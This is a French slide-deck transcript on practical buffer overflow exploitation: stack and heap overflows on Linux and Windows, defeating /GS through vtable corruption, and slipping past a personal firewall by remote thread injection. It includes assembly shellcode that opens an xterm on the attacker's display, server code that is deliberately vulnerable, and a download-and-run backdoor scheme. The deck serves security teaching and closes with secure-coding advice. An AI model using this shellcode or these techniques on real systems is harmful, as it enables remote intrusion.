D monstrations pratiques de buffer overflows
Download
1 / 55

Démonstrations pratiques de buffer overflows - PowerPoint PPT Presentation


  • 169 Views
  • Uploaded on

Démonstrations pratiques de buffer overflows. Ou la compromission d’un système par une simple erreur de programmation. Introduction. Buffer overflows ne sont statistiquement pas les failles les plus exploitées . Mais failles parmi les plus célèbres Célébrité vient de leur portée :

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Démonstrations pratiques de buffer overflows' - yaakov


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
D monstrations pratiques de buffer overflows l.jpg

Démonstrations pratiquesde buffer overflows

Ou la compromission d’un système par une simple erreur de programmation


Introduction l.jpg
Introduction

  • Buffer overflows ne sont statistiquement pas les failles les plus exploitées.

  • Mais failles parmi les plus célèbres

  • Célébrité vient de leur portée :

    • En terme de compromission de la machine vulnérable

    • En terme de propagation au sein d’un réseau

  • Puissance des attaques virales sasser et msblast qui combinaient ces deux caractéristiques

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Introduction principe des bofs l.jpg

Données

Introduction: principe des BOFs

  • Les buffer overflows, un principe simple et très connu

Donnée

Adresses croissantes

Zone reservée

  • Conséquences multiples:

    • Modification du comportement

    • Déni de service

    • Exécution de code arbitraire

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Objectif de l tude l.jpg
Objectif de l’étude

  • Principe connu mais mécanismes rarement décortiqués

    Possibilités réelles ? Difficultés rencontrées ?

  • Objectif de cette étude:

    Présenter des exemples concrets d’exploitation de buffer overflows pour donner un aperçu des réponses

  • Cadre:

    • Exploitations de cas d’écoles et non de cas réels

    • Mais exploitations de serveurs donc distantes

    • But:

      Par écrasement de zones mémoires, rediriger l’exécution vers un code injecté qui permettra l’ouverture d’un shell sur la machine distante.

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Slide5 l.jpg
Plan

  • Rappels: stack et heap

  • Exploitation sous Linux

    • Écriture d’un shellcode pour Linux

    • Exploitation d’un Stack overflow avec shellcode before

    • Exploitation d’un Heap Overflow

  • Exploitation sous Windows

    • Écriture d’un shellcode pour Windows

    • Stack overflow sur serveur compilé Visual 6.0 (option /GZ)

    • Stack overflow sur serveur compilé Visual .net (option /GS)

    • Corruption de VTABLES: Les limites de l’option /GS

  • Cas des équipements de filtrages

    • L’injection de code: Contournement du firewall personnel

  • Conclusion

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Rappels stack et heap l.jpg

Rappels: Stack et Heap

Plan:

Définitions

Exemple pratique


D finitions l.jpg

Stack

Adresses croissantes

Heap

Définitions

  • Stack et Heap

    • Stack (pile) = Variable locale, paramètres,…

    • Heap (tas) = Allocation dynamique d’objets (malloc, new)

  • En mémoire

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple pratique l.jpg
Exemple pratique

  • Code appel de fonction

    void myFunc(intparam)

    {

    intlocal;

    int *p=new char[50];

    }

    myFunc(10);

Param

Adresse retour

Entête fct

local

p

Retour:

- restauration de la pile

- instruction « ret »

char [50]

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Buffer overflow sous linux l.jpg

Buffer overflow sous Linux

Plan:

Écriture d’un shellcode pour Linux

Exploitation d’un Stack overflow avec shellcode before

Exploitation d’un Heap Overflow


Criture d un shellcode 1 l.jpg

Shellcode

Redirection vers shellcode

Écriture d’un shellcode (1)

  • Définition « Shellcode »

    => Code injecté, vers lequel l’exécution est redirigé et qui effectue une opération compromettant le système (ici, ouverture de shell distant)

  • Injection de ce code dans la mémoire du processus attaqué peut se faire de différentes manières.

  • La plus classique: dans le buffer qui provoque le débordement.

  • Buffer envoyé:

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Criture d un shellcode 2 l.jpg
Écriture d’un shellcode (2)

  • Dans notre cas: shellcode=xterm en export DISPLAY

BOF

Service vulnérable

Attaquant

xterm avec ENV: [email protected]:0.0

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Criture d un shellcode 3 l.jpg

Remplace X par \0

Utilisation de int pour exécution

Gestion de la relocalisation

Écriture d’un shellcode (3)

  • Code du shellcode (~80 bytes)

    jmp getaddr

    function:

    popl %ebx /* Recupere adresse de la commande */

    xor %eax, %eax

    movb %al, 0x14(%ebx)

    movb %al, 0x30(%ebx)

    pushl %eax /* push NULL */

    lea 0x15(%ebx), %ecx

    pushl %ecx /* push @ variable d'env DISPLAY */

    movl %esp, %edx /* Load @ tableau env dans edx */

    pushl %eax /* push NULL */

    pushl %ebx /* push @ de la commande */

    movl %esp, %ecx /* Load @ tableau dans ecx */

    movb $0xb, %al

    int $0x80

    getaddr:

    call function

    .shell_string:

    .string \"/usr/X11R6/bin/xtermXDISPLAY=192.168.000.002:0.0X\"

    /* le X a remplacer par un 0 */

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de stack overflow 1 l.jpg

MAX_MSG < strlen(Message…\n)+ MAX_MSG

Exemple de Stack overflow (1)

  • Présentation du serveur

    • Serveur écoute sur le port 1500

    • Affiche la chaîne renvoyée précédée de

      « Message from remote client : »

      void printMsg(char *szBuffer)

      {

      char szMsg[MAX_MSG];

      sprintf(szMsg, "Message from remote client :%s\n", szBuffer);

      printf(szMsg);

      }

      int main (int argc, char *argv[])

      {

      while((n = read(newSocketfd, szBuffer, MAX_MSG)) > 0)

      {

      printMsg(szBuffer);

      }

      }

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de stack overflow 2 l.jpg

@ szBuffer

@ szBuffer

@ retour

@ retour

ebp

ebp

szMsg

Données

Exemple de Stack overflow (2)

  • Principe de l’exploitation

Écrase @retour

sprintf

=> Quelle est la structure des données envoyées ?

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de stack overflow 3 l.jpg

@ szBuffer

@ szMsg

Adresse retour

SHELLCODE

ebp

szMsg

ret

NOP

  • Taille du shellcode limitée

  • Pas d’octets nul

  • @ buffer inconnue

Exemple de Stack overflow (3)

  • Structure des données envoyées

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-



Probl mes des heap overflow l.jpg
Problèmes des Heap Overflow

  • Débordement de buffer dans des zones allouées dynamiquement possible, mais exploitabilité ?

  • Exploitation de stack overflow facile car stack contient une zone mémoire chargée dans eip

  • Mais ce n’est pas le cas de heap (sauf cas particuliers) => Exploitation impossible ?

  • Illustration de la technique de la macro UNLINK décrite par Solar Designer

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


L algorithme de doug lea 1 l.jpg
L’algorithme de Doug Lea (1)

  • Portions de mémoires allouées gérées dans des chunks

chunk N+1

prev_size

prev_size

data

free

BK

chunk N

FD

size

size

prev_size

prev_size

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


L algorithme de doug lea 2 l.jpg
L’algorithme de Doug Lea (2)

  • Lors de la libération:

    • Test si chunk suivant libre

    • Si libre, l’enlève de la liste doublement chaînée.

    • Concatène les deux chunks

  • Pour enlever le bloc de la liste chaînée l’algorithme utilise la macro UNLINK:

    #define unlink( P, BK, FD ) { \

    BK = P->bk; \ [1]

    FD = P->fd; \ [2]

    FD->bk = BK; \ [3]

    BK->fd = FD; \ [4]

    }

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Le d bordement principe l.jpg
Le débordement: principe

  • En cas de débordement:

data

data

chunk N+1

Ecrasement du

chunk N+1

size

size

prev_size

prev_size

sprintf

data

data

chunk N

size

size

prev_size

prev_size

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Le d bordement exploitation l.jpg
Le débordement: exploitation

  • Lors de l’appel à free sur chunk N, si chunk N+1 libre, appel de UNLINK

    #define unlink( P, BK, FD ) { \

    BK = P->bk; \ [1]

    FD = P->fd; \ [2]

    FD->bk = BK; \ [3]

    BK->fd = FD; \ [4]

    }

  • Or valeur de FD et BK contrôlé car pointeurs écrasés => Possibilité d’écriture d’un DWORD de notre choix à l’adresse de notre choix

  • En pratique, écrasement d’une adresse de fonction dans le GOT avec l’adresse de notre buffer

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de heap overflow 1 l.jpg
Exemple de Heap Overflow (1)

  • Présentation du serveur

    Simple serveur accepte commande login, note le nom utilisateur et des infos sur la connexion.

  • Code

    typedef struct

    {

    time_t connectTime;

    } CONNEXION;

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de heap overflow 2 l.jpg

200 < 1500

Exemple de Heap Overflow (2)

void processData(int newSocketfd, char *szBuffer)

{

char *p;

CONNEXION *c;

if(szBuffer[0] == CMD_USER) // La commande recu est un login

{

// Alloue un buffer de taille SZ_USERNAME et une structure CONNEXION

p=(char *) malloc(SZ_USERNAME*sizeof(char));

c=(CONNEXION *) malloc(sizeof(CONNEXION));

// Rempli les structures

c->connectTime=time();

sprintf(p,"%s login\n", &szBuffer[1]);

// Renvoie la reponse au client

if(write(newSocketfd, p, strlen(p)) < 0)

error("ERROR writing to socket");

// Libere la memoire

free(p);

free(c);

}

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Principe de l exploitation l.jpg

prev_size

size

data

prev_size

size

data

prev_size

size

data

fake p_s

fake size

FD

data

BK

prev_size

size

FD

data

BK

fake p_s

0xfffffffc

data

FD

BK

  • GOT:

@ malloc

@ exit

@ free

Principe de l’exploitation

  • Avant sprintf

  • Après sprintf

  • Après free(p)

  • Appel de free(c) => saut dans shellcode

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-



Exploitation sous windows l.jpg

Exploitation sous Windows

Plan:

Écriture d’un shellcode pour Windows

Stack overflow sur serveur compilé Visual 6.0 (option /GZ)

Stack overflow sur serveur compilé Visual .net (option /GS)

Corruption de VTABLES: Les limites de l’option /GS

L’injection de code: Contournement du firewall personnel


Introduction27 l.jpg
Introduction

  • Buffer overflow sous Windows sujet moins couvert par documentation sur Internet

  • Pourtant, Msblast ou Sasser montre l’importance et la gravité du phénomène

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Criture d un shellcode 128 l.jpg
Écriture d’un shellcode (1)

  • Sous Linux, écriture de shellcode très facile:

    • Lancement d’un programme via instruction INT 80h

    • Programmes orientés réseau (xterm en remote display)

  • Sous Windows: API « INT 2Eh » très limitée.

    • Implications

      => Nécessité d’utiliser des API de plus haut niveaux (DLL)

      => Nécessité de charger les DLL

      => Nécessité d’accéder à certaines fonctions (LoadLibrary)

      => Nécessité d’avoir l’adresse de kernel32.dll

  • Problèmes:

    • Adresse de kernel32.dll varie d’une version à une autre

    • Taille du code augmente considérablement

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Criture d un shellcode 229 l.jpg
Écriture d’un shellcode (2)

  • Deux contraintes:

    • Shellcode doit être capable de retrouver @ de kernel32.dll

    • Shellcode doit rester de taille raisonnable

  • Principe du shellcode

    • Récupération de l’adresse de kernel32.dll (PEB)

    • Récupération de l’adresse de GetProcAdress() (Parse export directory)

    • Appel de GetProcAdress(@kernel32.dll, "LoadLibrary")

    • Appel de LoadLibrary("urlmon.dll")

    • Appel de GetProcAdress(@urlmon.dll, "URLDownloadToFile")

    • Contact faux serveur web et télécharge BackDoor

    • Exécute la BackDoor

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Criture d un shellcode 330 l.jpg
Écriture d’un shellcode (3)

  • Principe de l’exécution du shellcode

BOF

Service vulnérable

Attaquant

Fake web server

backdoor

(a.exe)

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de stack overflow l.jpg

BUFFER_SIZE < strlen(Welcome…)+ BUFFER_SIZE

Exemple de Stack Overflow

  • Présentation du serveur

    int vulnFunc(SOCKET clientSocket, char *msg)

    {

    char answer[BUFFER_SIZE];

    char *p;

    int i;

    bzero(answer);

    p=msg;

    i=0;

    while((msg[i] != ' ') && (i<BUFFER_SIZE))

    i ++;

    if(msg[i] != ' ')

    return -1;

    sprintf(answer, "Welcome to ghorg0re/3ey's server %s\r\n", &msg[i+1]);

    if(send(clientSocket, answer, strlen(answer), 0) == SOCKET_ERROR)

    return -1;

    return 0;

    }

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Cas de visual 6 0 option gz l.jpg
Cas de Visual 6.0: Option /GZ

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-



Cas de visual net option gs l.jpg

@ret

ebp

security_cookie

answer

p

i

Cas de Visual .net: Option /GS

  • Header de la fonction

    00411C70 push ebp

    00411C71 mov ebp,esp

    00411C73 sub esp,274h

    00411C79 push ebx

    00411C7A push esi

    00411C7B push edi

    00411C7C lea edi,[ebp-274h]

    00411C82 mov ecx,9Dh

    00411C87 mov eax,0CCCCCCCCh

    00411C8C rep stos dword ptr [edi]

    00411C8E mov eax,dword ptr [___security_cookie]

    00411C93 mov dword ptr [ebp-4],eax

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Cas de visual net option gs35 l.jpg
Cas de Visual .net: Option /GS

  • Fin de la fonction

    00411D53 push edx

    00411D54 mov ecx,ebp

    00411D56 push eax

    00411D57 lea edx,ds:[411D80h]

    00411D5D call @ILT+430(@[email protected]) (4111B3h)

    00411D62 pop eax

    00411D63 pop edx

    00411D64 mov ecx,dword ptr [ebp-4]

    00411D67 call @ILT+140(@[email protected]) (411091h)

    00411D6C pop edi

    00411D6D pop esi

    00411D6E pop ebx

    00411D6F add esp,274h

    00411D75 cmp ebp,esp

    00411D77 call @ILT+995(__RTC_CheckEsp) (4113E8h)

    00411D7C mov esp,ebp

    00411D7E pop ebp

    00411D7F ret

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-



Rappel sur les vtables 1 l.jpg
Rappel sur les VTABLES (1)

  • Exemple de statique code

=> Génération de code statique pour l‘appel

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Rappel sur les vtables 2 l.jpg
Rappel sur les VTABLES (2)

  • Limites de la compilation statique

    => Utilise les fonctions virtuelles résolues à l’exécution

  • En mémoire

Membres

@ Func 3

Objet

@ Func 2

Pointeur table virtuelle

@ Func 1

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Rappel sur les vtables 3 l.jpg
Rappel sur les VTABLES (3)

  • Exemple de code dynamique

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Cons quences l.jpg

int b

int b

Objet 2

int a

int a

@ table virtuelle

@ table virtuelle

szBuffer

szBuffer

sprintf

Objet 1

@ table virtuelle

@ table virtuelle

Conséquences

  • Le Heap contient ici un pointeur vers une table de fonctions => Redirection du flux d’exécution possible

  • Avantage: Redirection se fait lors appel à une fonction membre de l’objet 2 => Avant toutes vérifications

  • Inconvénient: On écrase un pointeur d’adresses

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de heap overflow 141 l.jpg
Exemple de Heap Overflow (1)

  • Code du serveur

    class Connexion

    {

    char szUser[SZ_USER];

    char szData[SZ_DATA];

    public:

    Connexion(void) {bzero(szData);bzero(szUser);};

    virtual void setszUser(char *szInput){sprintf(szUser, "USER=%s", szInput);};

    virtual char *getszUser(void){return szUser;};

    virtual void setszData(char *szInput){sprintf(szData, "DATA=%s", szInput);};

    virtual char *getszData(void){return szData;};

    };

    class LogData

    {

    public:

    virtual void logszData (char *szData) {printf("[TRACE] %s\n", szData);};

    };

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de heap overflow 242 l.jpg
Exemple de Heap Overflow (2)

  • Code du serveur

    int processData(SOCKET clientSocket, Connexion *pConnexion, LogData *pLogData, char *szData)

    {

    char msgToLog[SZ_LOG];

    if(szData[0] == CODE_USER)

    {

    pConnexion->setszUser(&szData[1]);

    sprintf(msgToLog, "Login user: %s",pConnexion->getszUser());

    if(send(clientSocket, MSG_USER, strlen(MSG_USER), 0) == SOCKET_ERROR)

    return -1;

    }

    else if(szData[0] == CODE_DATA)

    {

    pConnexion->setszData(&szData[1]);

    sprintf(msgToLog, "Data sent: %s",pConnexion->getszData());

    if(send(clientSocket, MSG_DATA, strlen(MSG_DATA), 0) == SOCKET_ERROR)

    return -1;

    pLogData->logszData(msgToLog);

    return 0;

    }

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Exemple de heap overflow 3 l.jpg

SHELLCODE

Exemple de Heap Overflow (3)

  • En mémoire:

pLogData

@ table virtuelle

szData

pConnexion

szUser

@szData

@ table virtuelle

  • Exploitation en deux temps:

    • Envoi d’un faux user pour constituer @szData

    • Ecrasement de la VTABLES de pLogData avec @szUser

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-



Conclusion partie windows l.jpg
Conclusion partie Windows

  • Étude montre les difficultés d’écriture de shellcode sous Windows

  • Mais l’exploitation de cas d’école reste aisée

  • L’option /GS permet d’éviter l’exploitation de stack overflow simples, mais n’est pas une protection inviolable

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Contournement des quipements de filtrages l.jpg

Contournement deséquipements de filtrages

Plan:

Concepts

La protection par FW personnel


Concepts 1 l.jpg
Concepts (1)

  • Exemples précédents ne présentent pas le problème de la communication entre attaquant – backdoor

  • Cas de Linux:

FireWall

Attaquant

Serveur X

Serveur vulnérable

xterm avec ENV: [email protected]:0.0

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Concepts 2 l.jpg
Concepts (2)

  • Cas de Windows

Proxy

+

Authent

BOF

Service vulnérable

Attaquant

Fake web server

=> Il faut savoir adapter le shellcode à l’architecture du réseau ciblé.

A priori, si serveur autorisé connecté à Internet, contournement sera toujours possible

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


La protection par fw personnel l.jpg
La protection par FW personnel

  • Concept: FW personnel

    • Application filtrant le trafic entrant et sortant d’une machine

    • Gère le contrôle d’accès via le concept d’applications:

      Deux modes sont distingués: client ou serveur

      Pour chaque mode, une application peut soit être autorisée, soit interdite, soit inconnue.

  • Une application inconnue de peut pas accéder à Internet

    => Détection de notrebackdoor

  • Calcul de checksum empêche simple remplacement

    => Le FW personnel est-il la solution miracle anti-backdoor ?

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Contournement du fw personnel 1 l.jpg
Contournement du FW personnel (1)

  • Problème est que la gestion des accès se fait au niveau processus et non au niveau du thread

  • Or Windows offre la possibilité de créer des threads dans une application distante

  • Technique qui devient très courante. Utilise les fonctions:

    • VirtualAllocEx

    • WriteProcessMemory

    • CreateRemoteThread

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-


Contournement du fw personnel 2 l.jpg
Contournement du FW personnel (2)

  • Principe du contournement:

    • Téléchargement de la backdoor (a.exe) et exécution

    • La backdoor ouvre le processus serveur et injecte du code

    • La backdoor créé un thread executant le code injecté dans le processus serveur

    • Le code injecté ouvre une socket en mode serveur, opération permise par le FW car le processus serveur est autorisée à ouvrir ce type de socket

  • Problèmes rencontrés:

    • Code injecté doit être relocalisable, retrouver adresse des fonctions,… Même techniques que pour le shellcode

    • Le processus serveur ne doit pas planter

      => Retour à l’exécution normale ou utilisation d’un Sleep

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-




Conclusion g n rale54 l.jpg
Conclusion générale

  • Étude présente des cas concrets d’exploitation

  • Lorsqu’il y a débordement de buffer, les possibilités d’exploitations sont multiples

  • Il existe de très nombreuses protections opérants à des niveaux différents :

    • Au niveau du réseau, les équipements de filtrage.

    • Au niveau système, les protections comme chroot ou la gestion des droits de l’utilisateur d’exécution du serveur.

    • Au niveau logiciel, les protections comme l’option /GS ou des produits comme StackGuard

  • Ideal = Défense en profondeur

  • LA solution reste l’écriture de code sécurisé:

    • Évitez les fonctions dangereuses (sprintf,strcpy,memcpy,…)

    • Faites attention aux erreurs off-by-one

    • Vérifiez les boucles qui remplissent des tableaux

    • Utilisez les types managés sous Windows

      Ne JAMAIS se fier aux données envoyées par l’utilisateur

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-



ad